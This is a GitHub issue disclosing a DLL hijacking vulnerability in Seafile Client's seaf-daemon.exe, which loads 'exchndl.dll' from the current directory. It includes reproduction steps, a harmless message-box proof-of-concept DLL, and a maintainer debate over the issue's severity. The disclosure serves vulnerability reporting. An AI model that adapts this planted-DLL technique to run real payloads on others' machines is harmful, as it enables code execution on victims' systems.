Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

DLL Hijacking "exchndl.dll" #1309

Open
b1nary0x1 opened this issue Jul 22, 2020 · 3 comments
Open

DLL Hijacking "exchndl.dll" #1309

b1nary0x1 opened this issue Jul 22, 2020 · 3 comments

Comments

@b1nary0x1
Copy link

b1nary0x1 commented Jul 22, 2020

DLL: exchndl.dll
Affected Process: seaf-daemon.exe
Tested on: Windows 10 Pro x64 Version 10.0.19041

Description:
Seafile Client ver 7.0.8 is vulnerable to DLL hijacking because it loads “exchndl.dll” from the current working directory.

Steps to reproduce:

  1. Compile the following code and name the output dll file as “exchndl.dll”.
  2. Execute Seafile from where the “exchndl.dll” exists.
  3. The “exchndl.dll” file will be executed.

PoC Code:

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "Seafile DLL Hijacked!", "DLL Message", MB_OK);
}

Screenshots:
new

@b1nary0x1
Copy link
Author

Please note that CVE-2020-16143 was assigned.

@killing
Copy link
Member

killing commented Sep 25, 2020

Sorry but I don't understand why this is a security issue. Users install Seafile client in system directories. The attacker has to first have the permission to write to the system directories. And it's usual for applications to load dlls. There are a lot of dll files in Seafile, why only is this one dangerous?

@kateyy
Copy link

kateyy commented Feb 20, 2021

@killing is it intentional to load this library at all still? Because it was dropped from release packages some time ago. See here: https://github.com/haiwen/seafile/blob/f0097a706b007d5e6b1aff7af2c536124199840d/daemon/seaf-daemon.c#L398

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants